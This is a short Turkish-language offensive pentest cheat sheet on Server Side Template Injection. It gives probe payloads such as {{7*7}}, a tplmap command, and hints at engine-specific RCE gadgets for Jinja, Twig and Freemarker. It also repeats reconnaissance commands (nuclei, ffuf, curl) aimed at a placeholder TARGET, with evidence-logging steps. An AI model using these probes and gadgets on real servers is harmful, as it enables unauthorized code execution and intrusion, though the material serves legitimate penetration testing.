Skip to content

SSTI (Server Side Template Injection)

web offensive

SSTI (Server Side Template Injection) web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

  1. SSTI (Server Side Template Injection) giriş noktalarını (param/header/cookie/upload/API) haritala.

  2. Hedefe özgü payload ve araçlarla hipotezi doğrula.

  3. Okuma/yazma/RCE/bypass etkisini somut kanıtla.

  4. Zincirleme senaryo ve kanıt paketini tamamla.

{{7*7}}
${7*7}
#{7*7}
<%= 7*7 %>
{{7*'7'}}
Terminal window
tplmap -u 'https://TARGET/?name=FUZZ'
Jinja: lipsum / cycler / joiner globals → class dump
Twig: _self.env → setCache / loadTemplate
Freemarker: freemarker.template.utility.Execute
Terminal window
curl -sk --data 'tpl=PAYLOAD' https://TARGET/render

SSTI (Server Side Template Injection) sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
nuclei -u https://TARGET -as -silent
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
curl -sk https://TARGET/sitemap.xml
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
Terminal window
nuclei -u https://TARGET -as -silent
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt
request/response
zaman damgası
kullanılan hesap
etki özeti
Terminal window
curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html